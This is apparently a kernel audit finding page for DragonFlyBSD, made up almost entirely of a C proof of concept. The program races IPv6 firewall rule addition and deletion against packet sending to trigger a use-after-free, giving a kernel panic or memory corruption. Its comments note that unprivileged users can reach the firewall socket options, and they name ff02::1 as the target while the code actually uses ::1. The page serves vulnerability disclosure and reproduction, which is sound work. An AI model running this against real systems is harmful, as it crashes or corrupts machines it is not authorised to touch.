DragonFlyBSD Kernel Audit
DF-0513 / df0513.c
← back to finding ↓ download raw
/*
 * DF-0513 — Race ip6_fw_chk (lock-free chain walker) against chain mutation.
 *
 * Bug: ip6_fw_chain is a global singly-linked list walked LOCK-FREE by
 * ip6_fw_chk() on every IPv6 packet.  Mutators (add/del/flush/zero/GET)
 * only take crit_enter()/crit_exit(), which masks interrupts on the
 * CURRENT CPU but does not serialize against other CPUs running
 * ip6_fw_chk.  del_entry6 (ip6_fw.c:912-916) and FLUSH (:1130-1134)
 * call kfree(rule) AFTER crit_exit -> a concurrent chk on another CPU
 * can deref the freed rule -> UAF.
 *
 * Method (unprivileged; only the one-time ip6fw module load is root):
 *  - Thread A: open AF_INET6 SOCK_DGRAM, send packets to ff02::1 to
 *    drive ip6_output -> ip6_fw_chk.
 *  - Thread B: open AF_INET6 SOCK_DGRAM, setsockopt(IPV6_FW_ADD) then
 *    setsockopt(IPV6_FW_DEL) in a tight loop.
 *  - Within seconds, on a multi-CPU box, the chk walker races ahead of
 *    the deleter and either panics (INVARIANTS slab-poison trap on the
 *    freed rule) or silently corrupts memory.
 *
 * Build:  cc -O2 -lpthread -o df0513 df0513.c
 * Run:    ./df0513 [<seconds>]
 *
 * Precondition: `kldload ip6fw` (one-time, root).  After that, any
 * unprivileged user can run this — there is NO privilege check on the
 * IPV6_FW_* socket options (a separate latent issue, but means the
 * race is fully exercisable by an unpriv user once the module is
 * loaded).
 */
#define _KERNEL
#include <sys/types.h>
#undef _KERNEL
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <time.h>

/* Mirror sys/netinet6/in6.h socket option opcodes (the kernel export). */
#define _DF0513_IPV6_FW_ADD     30
#define _DF0513_IPV6_FW_DEL     31
#define _DF0513_IPV6_FW_FLUSH   32

/* Mirror sys/net/ip6fw/ip6_fw.h flag bits. */
#define FW_F_IN         0x0001
#define FW_F_ACCEPT     0x0020

/* sizeof(struct ip6_fw) on DragonFly 6.5-DEV x86_64 = 200 bytes.
 * The union ip6_fw_if contains a `char name[16] + short glob` (=18
 * bytes) member, so the struct is 200 not 192.  Verified against
 * kernel printf "ip6_fw_ctl: len=X, want 200". */
#define IP6_FW_SZ   200

/* Offsets within struct ip6_fw (computed from the struct layout). */
#define OFF_FW_NUMBER   80
#define OFF_FW_FLG      82
#define OFF_FW_PROT     190

static volatile int stop = 0;

static void build_rule(unsigned char *buf, uint16_t num)
{
    memset(buf, 0, IP6_FW_SZ);
    uint16_t flg = FW_F_IN | FW_F_ACCEPT;
    memcpy(buf + OFF_FW_NUMBER, &num, 2);
    memcpy(buf + OFF_FW_FLG, &flg, 2);
    /* fw_prot = 59 -> IPPROTO_NONE, benign (no real traffic uses it),
     * passes check_ip6fw_struct() which only rejects TCP/UDP+ports
     * combos.  fw_pts/nports all zero -> wildcard match. */
    buf[OFF_FW_PROT] = 59;   /* IPPROTO_NONE */
}

/* Thread A: flood IPv6 packets to drive ip6_fw_chk */
static void *sender(void *arg)
{
    (void)arg;
    int s = socket(AF_INET6, SOCK_DGRAM, 0);
    if (s < 0) { perror("sender socket"); return NULL; }
    struct sockaddr_in6 dst;
    memset(&dst, 0, sizeof dst);
    dst.sin6_family = AF_INET6;
    inet_pton(AF_INET6, "::1", &dst.sin6_addr); /* loopback */
    dst.sin6_port = htons(9999);
    char buf[16]; memset(buf, 'A', sizeof buf);
    long n = 0, err = 0;
    while (!stop) {
        if (sendto(s, buf, sizeof buf, 0,
                   (struct sockaddr*)&dst, sizeof dst) > 0) n++;
        else err++;
    }
    fprintf(stderr, "[sender] sent %ld pkts, errors %ld\n", n, err);
    close(s);
    return NULL;
}

/* Thread B: mutate the rule chain via setsockopt */
static void *mutator(void *arg)
{
    (void)arg;
    int s = socket(AF_INET6, SOCK_DGRAM, 0);
    if (s < 0) { perror("mutator socket"); return NULL; }

    unsigned char rulebuf[IP6_FW_SZ];
    long add = 0, del = 0, err = 0;
    int iter = 0;
    while (!stop) {
        uint16_t num = 500 + (iter % 100);
        build_rule(rulebuf, num);
        if (setsockopt(s, IPPROTO_IPV6, _DF0513_IPV6_FW_ADD,
                       rulebuf, sizeof rulebuf) == 0) add++;
        else err++;
        if (setsockopt(s, IPPROTO_IPV6, _DF0513_IPV6_FW_DEL,
                       rulebuf, sizeof rulebuf) == 0) del++;
        else err++;
        iter++;
    }
    fprintf(stderr, "[mutator] add=%ld del=%ld err=%ld (iters %d)\n",
            add, del, err, iter);
    close(s);
    return NULL;
}

int main(int argc, char **argv)
{
    int secs = argc > 1 ? atoi(argv[1]) : 10;
    pthread_t ta, tb;
    fprintf(stderr, "DF-0513: racing ip6_fw_chk against chain mutation "
            "for %ds (needs ip6fw module loaded)\n", secs);
    pthread_create(&ta, NULL, sender, NULL);
    pthread_create(&tb, NULL, mutator, NULL);
    sleep(secs);
    stop = 1;
    pthread_join(ta, NULL);
    pthread_join(tb, NULL);
    fprintf(stderr, "DF-0513: done.  If the kernel panicked during the "
            "race window (check serial console / dmesg), the lock-free "
            "chain walk + kfree-after-crit_exit UAF is reproduced.\n");
    return 0;
}